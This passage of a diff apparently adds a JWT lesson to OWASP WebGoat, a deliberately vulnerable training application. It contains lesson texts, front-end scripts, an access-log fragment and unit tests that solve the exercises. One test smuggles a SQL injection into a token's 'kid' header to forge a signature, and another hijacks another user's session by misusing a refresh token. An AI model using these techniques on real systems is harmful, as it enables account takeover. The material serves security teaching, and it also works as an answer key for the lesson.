"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/login HTTP/1.1" 200 212 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +194.201.170.15 - - [28/Jan/2016:21:28:01 +0100] "GET /JWT/refresh/addItems HTTP/1.1" 404 249 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" "-" +195.206.170.15 - - [28/Jan/2016:21:28:01 +0100] "POST /JWT/refresh/moveToCheckout HTTP/1.1" 404 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.181 Safari/537.36" "-" diff --git a/webgoat-lessons/jwt/src/main/resources/images/product-icon.png b/webgoat-lessons/jwt/src/main/resources/images/product-icon.png new file mode 100644 index 000000000..6589f621d Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/product-icon.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/images/tom.png b/webgoat-lessons/jwt/src/main/resources/images/tom.png new file mode 100644 index 000000000..d8e50d91a Binary files /dev/null and b/webgoat-lessons/jwt/src/main/resources/images/tom.png differ diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js new file mode 100644 index 000000000..f5167aa91 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-buy.js @@ -0,0 +1,36 @@ +$(document).ready(function () { + $("#quantity1").on("blur", function () { + var quantity = $("#quantity1").val(); + if (!$.isNumeric(quantity) || quantity < 0) { + $("#quantity1").val("1"); + quantity = 1; + } + var piecePrice = $("#piecePrice1").text(); + $('#totalPrice1').text((quantity * piecePrice).toFixed(2)); + updateTotal(); + }); + $("#quantity2").on("blur", function () { + var quantity = $("#quantity2").val(); + if (!$.isNumeric(quantity) || quantity < 0) { + $("#quantity2").val("1"); + quantity = 1; + } + var piecePrice = $("#piecePrice2").text(); + $('#totalPrice2').text((quantity * piecePrice).toFixed(2)); + updateTotal(); + }) +}) + +function updateTotal() { + var price1 = parseFloat($('#totalPrice1').text()); + var price2 = parseFloat($('#totalPrice2').text()); + var subTotal = price1 + price2; + $('#subtotalJwt').text(subTotal.toFixed(2)); + var total = subTotal + 6.94; + $('#totalJwt').text(total.toFixed(2)); + + +} + + + diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js new file mode 100644 index 000000000..faa31b927 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-final.js @@ -0,0 +1,9 @@ +function follow(user) { + $.ajax({ + type: 'POST', + url: 'JWT/final/follow/' + user + }).then(function (result) { + $("#toast").append(result); + }) +} + diff --git a/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js new file mode 100644 index 000000000..e8f24a2a5 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-refresh.js @@ -0,0 +1,42 @@ +$(document).ready(function () { + login('Jerry'); +}) + +function login(user) { + $.ajax({ + type: 'POST', + url: 'JWT/refresh/login', + contentType: "application/json", + data: JSON.stringify({user: user, password: "bm5nhSkxCXZkKRy4"}) + }).success( + function (response) { + localStorage.setItem('access_token', response['access_token']); + localStorage.setItem('refresh_token', response['refresh_token']); + } + ) +} + +//Dev comment: Pass token as header as we had an issue with tokens ending up in the access_log +webgoat.customjs.addBearerToken = function () { + var headers_to_set = {}; + headers_to_set['Authorization'] = 'Bearer ' + localStorage.getItem('access_token'); + return headers_to_set; +} + +//Dev comment: Temporarily disabled from page we need to work out the refresh token flow but for now we can go live with the checkout page +function newToken() { + localStorage.getItem('refreshToken'); + $.ajax({ + headers: { + 'Authorization': 'Bearer ' + localStorage.getItem('access_token') + }, + type: 'POST', + url: 'JWT/refresh/newToken', + data: JSON.stringify({refreshToken: localStorage.getItem('refresh_token')}) + }).success( + function () { + localStorage.setItem('access_token', apiToken); + localStorage.setItem('refresh_token', refreshToken); + } + ) +} \ No newline at end of file diff --git a/webgoat-lessons/challenge/src/main/resources/js/challenge4.js b/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js similarity index 88% rename from webgoat-lessons/challenge/src/main/resources/js/challenge4.js rename to webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js index 5c9d6a38d..55f95b8a0 100644 --- a/webgoat-lessons/challenge/src/main/resources/js/challenge4.js +++ b/webgoat-lessons/jwt/src/main/resources/js/jwt-voting.js @@ -1,15 +1,15 @@ $(document).ready(function () { - login('Guest'); + loginVotes('Guest'); }) -function login(user) { +function loginVotes(user) { $("#name").text(user); $.ajax({ - url: "votings/login?user=" + user, - complete: function (result, status) { - getVotings(); - } - }); + url: 'JWT/votings/login?user=' + user, + contentType: "application/json" + }).always(function () { + getVotings(); + }) } var html = '' + @@ -40,7 +40,7 @@ var html = '' + function getVotings() { $("#votesList").empty(); - $.get("votings/", function (result, status) { + $.get("JWT/votings", function (result, status) { for (var i = 0; i < result.length; i++) { var voteTemplate = html.replace('IMAGE_SMALL', result[i].imageSmall); if (i === 0) { @@ -65,6 +65,10 @@ function getVotings() { }) } +webgoat.customjs.jwtSigningCallback = function () { + getVotings(); +} + function vote(title) { var user = $("#name").text(); if (user === 'Guest') { @@ -72,7 +76,7 @@ function vote(title) { } else { $.ajax({ type: 'POST', - url: 'votings/' + title + url: 'JWT/votings/' + title }).then( function () { getVotings(); @@ -81,4 +85,3 @@ function vote(title) { } } - diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc deleted file mode 100644 index e192587b6..000000000 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_content1.adoc +++ /dev/null @@ -1 +0,0 @@ -== Test \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc new file mode 100644 index 000000000..de106e731 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_final.adoc @@ -0,0 +1,5 @@ +== Final challenges + +Below you see two account, one of Jerry and one of Tom. Jerry wants to remove Toms account from Twitter, but his token +can only delete his own account. Can you try to help him and delete Toms account? + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc new file mode 100644 index 000000000..0682b666a --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_login_to_token.adoc @@ -0,0 +1,19 @@ +== Authentication and getting a JWT token + +A basic sequence of getting a token is as follows: + +image::images/jwt_diagram.png[style="lesson-image"] + +{nbsp} + + +In this flow you can see the user logs in with a username and password on a successful authentication the server +returns. The server creates a new token and returns this one to the client. When the client makes a successive +call toward the server it attaches the new token in the "Authorization" header. +The server reads the token and first validates the signature after a successful verification the server uses the +information in the token to identify the user. + +=== Claims + +The token contains claims to identify the user and all other information necessary for the server to fulfil the request. +Be aware not to store sensitive information in the token and always send them over a secure channel. + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc index d6c375bb8..ae76a5876 100644 --- a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_plan.adoc @@ -7,14 +7,13 @@ This lesson teaches about using JSON Web Tokens (JWT) for authentication and the == Goals -Teach how to securely implement the usage of tokens. +Teach how to securely implement the usage of tokens and validation of those tokens. == Introduction Many application use JSON Web Tokens (JWT) to allow the client to indicate is identity for further exchange after authentication. From https://jwt.io/introduction: - ------------------------------------------------------- JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc new file mode 100644 index 000000000..3b91e0bfa --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh.adoc @@ -0,0 +1,88 @@ +:linkattrs: + + +== Refreshing a token + +=== Introduction + +In this section we touch upon refreshing an access token. + +=== Types of tokens + +In general there are two type of tokens: access token and a refresh token. The access token is used for making API +calls towards the server. Access tokens have a limited life span, that's where the refresh token comes in. Once +the access token is no longer valid a request can me made towards the server to get a new access token by presenting +the refresh token. The refresh token can expire but their life span is much longer. This solves the problem of a user +having to authenticate again with their credentials. Whether you should use a refresh token and access token depends, +below can find a couple of points to keep in mind while choosing which tokens to use. + +So a normal flow can look like: + +``` +curl -X POST -H -d 'username=webgoat&password=webgoat' localhost:8080/WebGoat/login +``` + +The server returns: + +``` +{ + "token_type":"bearer", + "access_token":"XXXX.YYYY.ZZZZ", + "expires_in":10, + "refresh_token":"4a9a0b1eac1a34201b3c5659944e8b7" +} +``` + +As you can see the refresh token is a random string which the server can keep track of (in memory or store in a database) +in order to match the refresh token to the user the refresh token was granted to. +So in this case whenever the access token is still valid we can speak of a "stateless" session, there is +no burden on the server side to setup the user session, the token is self contained. +When the access token is no longer valid the server needs to query for the stored refresh token to make sure the token +is not blocked in any way. + +Whenever the attacker gets a hold on an access token it is only valid for a certain amount of time (say 10 minutes). The +attacker then needs the refresh token to get a new access token. That is why the refresh token needs better protection. +It is also possible to make the refresh token stateless but this means it will become more difficult to see if +the user revoked the tokens. +After the server made all the validations it must return a new refresh token and a new access token to the client. The +client can use the new access token to make the API call. + + +=== What should you check for? + +Regardless of the chosen solution you should store enough information on the server side to validate whether the user +is still trusted. You can think of many things, like store the ip address, keep track of how many times the refresh +token is used (using the refresh token multiple times in the valid time window of the access token might indicate strange +behavior, you can revoke all the tokens an let the user authenticate again). +Also keep track of which access token belonged to which refresh token otherwise an attacker might +be able to get a new access token for a different user with the refresh token of the attacker +(see https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/ for a nice write up about how this attack works) +Also a good thing to check for is the ip address or geolocation of the user. If you need to give out a new token check +whether the location is still the same if not revoke all the tokens and let the user authenticate again. + +=== Need for refresh tokens + +Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section +about storing tokens there are two option: web storage or a cookie which mean a refresh token is right beside an +access token, so if the access token is leaked changes are the refresh token will also be compromised. Most of the time +there is a difference of course, the access token is send when you make an API call, the refresh token is only send +when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same +server you can chose to only use the access token. + +As stated above using an access token and a separate refresh token gives some leverage for the server not to check +the access token over and over. Only perform the check when the user needs a new access token. +It is certainly possible to only use an access token, at the server you store the exact same information you would +store for a refresh token, see previous paragraph. This way you need to check the token each time but this might +be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least +use a hash function to store them in your database). + +=== JWT a good idea? + +There are a lot of resources available which question the usecase for using JWT token for client to server authentication +with regards to cookies. The best place to use a JWT token is between server to server communication. In a normal web +application you are better of using plain old cookies. See for more information: + +- http://cryto.net/~joepie91/blog/2016/06/13/stop-using-jwt-for-sessions/[stop-using-jwt-for-sessions, window="_blank"] +- http://cryto.net/~joepie91/blog/2016/06/19/stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work/[stop-using-jwt-for-sessions-part-2-why-your-solution-doesnt-work, window="_blank"] +- http://cryto.net/~joepie91/blog/attachments/jwt-flowchart.png[flowchart, window="_blank"] + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc new file mode 100644 index 000000000..6656b9355 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_refresh_assignment.adoc @@ -0,0 +1,13 @@ +:linkattrs: + +== Refreshing a token + +It is important to implement a good strategy for refreshing an access token. This assignment is based on a vulnerability +found in a private bug bounty program on Bugcrowd, you can read the full write up https://emtunc.org/blog/11/2017/jwt-refresh-token-manipulation/[here, window="_blank"] + +=== Assignment + +From a breach of last year the following logfile is available link:images/logs.txt[here] +Can you find a way to order the books but let *Tom* pay for them? + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc new file mode 100644 index 000000000..0d526de1c --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_signing.adoc @@ -0,0 +1,20 @@ +== JWT signing + +Each JWT token should at least be signed before sending it to a client, if a token is not signed the client application +would be able to change the contents of the token. The signing specifications are defined https://tools.ietf.org/html/rfc7515[here] +the specific algorithms you can use are described https://tools.ietf.org/html/rfc7518[here] +It basically comes down you use "HMAC with SHA-2 Functions" or "Digital Signature with RSASSA-PKCS1-v1_5/ECDSA/RSASSA-PSS" function +for signing the token. + +=== Checking the signature + +One important step is to *verify the signature* before performing any other action, let's try to see some things you need +to be aware of before validating the token. + +== Assignment + +Try to change the token you receive and become an admin user by changing the token and once you are admin reset the votes + + + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc new file mode 100644 index 000000000..e1fb92adc --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_storing.adoc @@ -0,0 +1,35 @@ +== Storing JWT tokens + +When receiving a JWT token you need to store it at the client side. There are basically two options: + +- Store the token in a cookie +- Store the token in local/session storage + +=== Cookies + +Cookies is the most simplest form, every browser supports cookies for a long time. A best practise is to mark the +cookie with the `HttpOnly` to guarantee scripts cannot read the cookie and with `Secure` to make sure the cookie +is only sent over HTTPs. + +Note: using a cookie does not mean you have maintain a state stored on the server, like the old session cookies worked +before. The JWT token is self contained and can/should contain all the information necessary to be completely stateless the +cookie is just used as the transport mechanism. + +=== Web storage + +In this case you store the token in on the client side in HTML5 Web Storage. + +=== Choices, security risks + +Web storage is accessible through JavaScript running on the same domain, so the script will have access to the +web storage. So if the site is vulnerable to a cross-site scripting attack the script is able to read the token +from the web storage. See XSS lesson for more about how this attack works. + +On the other hand using cookies have a different problem namely they are vulnerable to a cross-site request forgery +attack. In this case the attacker tries to invoke an action on the website you have a token for. See CSRF lesson for more +information about how this attack works. + +The best recommendation is to choose for the cookie based approach. In practise it is easier to defend against a CSRF +attack. On the other hand many JavaScript frameworks are protecting the user for a XSS attack by applying the right +encoding, this protection comes out of the box. A CSRF protection sometimes is not provided by default and requires work. +In the end take a look at what the framework is offering you, but most of the time a XSS attack gives the attacker more leverage. \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc new file mode 100644 index 000000000..e44aa9079 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_structure.adoc @@ -0,0 +1,39 @@ +== Structure of a JWT token + +Let's take a look at the structure of a JWT token: + +image::images/jwt_token.png[style="lesson-image"] + +{nbsp} + + +The token is base64 encoded and consists of three parts `header.claims.signature`. The decoded version of this token is: + +``` +{ + "alg":"HS256", + "typ":"JWT" +} +. +{ + "exp": 1416471934, + "user_name": "user", + "scope": [ + "read", + "write" + ], + "authorities": [ + "ROLE_ADMIN", + "ROLE_USER" + ], + "jti": "9bc92a44-0b1a-4c5e-be70-da52075b9a84", + "client_id": "my-client-with-secret" +} +. +qxNjYSPIKSURZEMqLQQPw1Zdk6Le2FdGHRYZG7SQnNk +``` + + +Based on the algorithm the signature will be added to the token. This way you can verify that someone did not modify +the token (one change to the token will invalidate the signature). + + diff --git a/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys new file mode 100644 index 000000000..b8da3bf02 --- /dev/null +++ b/webgoat-lessons/jwt/src/main/resources/lessonPlans/en/JWT_weak_keys @@ -0,0 +1,13 @@ +== JWT cracking + +With the HMAC with SHA-2 Functions you use a secret key to sign and verify the token. Once we figure out this key +we can create a new token and sign it. So it is very important the key is strong enough so a brute force or +dictionary attack is not feasible. Once you have a token you can start an offline brute force or dictionary attack. + +=== Assignment + +Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat. + +``` +eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0 +``` \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java new file mode 100644 index 000000000..fefdbe8f0 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTFinalEndpointTest.java @@ -0,0 +1,62 @@ +package org.owasp.webgoat.plugin; + +import com.google.common.collect.Maps; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.util.Date; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTFinalEndpointTest extends LessonTest { + + private static final String TOKEN_JERRY = "eyJraWQiOiJ3ZWJnb2F0X2tleSIsImFsZyI6IkhTNTEyIn0.eyJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImVtYWlsIjoiamVycnlAd2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IkplcnJ5In0.xBc5FFwaOcuxjdr_VJ16n8Jb7vScuaZulNTl66F2MWF1aBe47QsUosvbjWGORNcMPiPNwnMu1Yb0WZVNrp2ZXA"; + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + String key = "deletingTom"; + Map claims = Maps.newHashMap(); + claims.put("username", "Tom"); + String token = Jwts.builder() + .setHeaderParam("kid", "hacked' UNION select '" + key + "' from INFORMATION_SCHEMA.SYSTEM_USERS --") + .setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10))) + .setClaims(claims) + .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key) + .compact(); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", token) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void withJerrysKeyShouldNotSolveAssignment() throws Exception { + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/final/delete") + .param("token", TOKEN_JERRY) + .content("")) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-final-jerry-account")))); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java new file mode 100644 index 000000000..0e13f142c --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTRefreshEndpointTest.java @@ -0,0 +1,184 @@ +package org.owasp.webgoat.plugin; + +import com.fasterxml.jackson.core.JsonProcessingException; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.collect.Maps; +import org.hamcrest.CoreMatchers; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.MvcResult; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.util.Map; + +import static org.hamcrest.Matchers.is; +import static org.mockito.Mockito.when; +import static org.owasp.webgoat.plugin.JWTRefreshEndpoint.PASSWORD; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath; +import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status; + +@RunWith(SpringJUnit4ClassRunner.class) +public class JWTRefreshEndpointTest extends LessonTest { + + @Before + public void setup() { + JWT jwt = new JWT(); + when(webSession.getCurrentLesson()).thenReturn(jwt); + this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build(); + when(webSession.getUserName()).thenReturn("unit-test"); + } + + @Test + public void solveAssignment() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + //First login to obtain tokens for Jerry + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + String refreshToken = tokens.get("refresh_token"); + + //Now create a new refresh token for Tom based on Toms old access token and send the refresh token of Jerry + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", refreshToken); + result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessTokenTom) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isOk()) + .andReturn(); + tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + accessTokenTom = tokens.get("access_token"); + + //Now checkout with the new token from Tom + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.lessonCompleted", is(true))); + } + + @Test + public void checkoutWithTomsTokenFromAccessLogShouldFail() throws Exception { + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpYXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.output", CoreMatchers.containsString("JWT expired at"))); + } + + @Test + public void checkoutWitRandomTokenShouldFail() throws Exception { + String accessTokenTom = "eyJhbGciOiJIUzUxMiJ9.eyJpLXQiOjE1MjYxMzE0MTEsImV4cCI6MTUyNjIxNzgxMSwiYWRtaW4iOiJmYWxzZSIsInVzZXIiOiJUb20ifQ.DCoaq9zQkyDH25EcVWKcdbyVfUL4c9D4jRvsqOqvi9iAd4QuqmKcchfbU8FNzeBNF9tLeFXHZLU4yRkq-bjm7Q"; + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessTokenTom)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("jwt-invalid-token")))); + } + + @Test + public void flowForJerryAlwaysWorks() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/checkout") + .header("Authorization", "Bearer " + accessToken)) + .andExpect(status().isOk()) + .andExpect(jsonPath("$.feedback", is("User is not Tom but Jerry, please try again"))); + } + + @Test + public void loginShouldNotWorkForJerryWithWrongPassword() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD + "wrong"); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void loginShouldNotWorkForTom() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Tom"); + loginJson.put("password", PASSWORD); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isUnauthorized()); + } + + @Test + public void newTokenShouldWorkForJerry() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + String refreshToken = tokens.get("refresh_token"); + + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", refreshToken); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessToken) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isOk()); + } + + @Test + public void unknownRefreshTokenShouldGiveUnauthorized() throws Exception { + ObjectMapper objectMapper = new ObjectMapper(); + Map loginJson = Maps.newHashMap(); + loginJson.put("user", "Jerry"); + loginJson.put("password", PASSWORD); + MvcResult result = mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/login") + .contentType(MediaType.APPLICATION_JSON) + .content(objectMapper.writeValueAsString(loginJson))) + .andExpect(status().isOk()) + .andReturn(); + Map tokens = objectMapper.readValue(result.getResponse().getContentAsString(), Map.class); + String accessToken = tokens.get("access_token"); + + Map refreshJson = Maps.newHashMap(); + refreshJson.put("refresh_token", "wrong_refresh_token"); + mockMvc.perform(MockMvcRequestBuilders.post("/JWT/refresh/newToken") + .contentType(MediaType.APPLICATION_JSON) + .header("Authorization", "Bearer " + accessToken) + .content(objectMapper.writeValueAsString(refreshJson))) + .andExpect(status().isUnauthorized()); + } +} \ No newline at end of file diff --git a/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java new file mode 100644 index 000000000..421857307 --- /dev/null +++ b/webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/plugin/JWTSecretKeyEndpointTest.java @@ -0,0 +1,110 @@ +package org.owasp.webgoat.plugin; + +import io.jsonwebtoken.Claims; +import io.jsonwebtoken.Jwts; +import org.hamcrest.CoreMatchers; +import org.joda.time.Days; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.owasp.webgoat.plugins.LessonTest; +import org.springframework.http.MediaType; +import org.springframework.test.context.junit4.SpringJUnit4ClassRunner; +import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; +import org.springframework.test.web.servlet.result.MockMvcResultHandlers; +import org.springframework.test.web.servlet.setup.MockMvcBuilders; + +import java.time.Duration; +import java.time.Instant; +import java.util.Date; + +import static 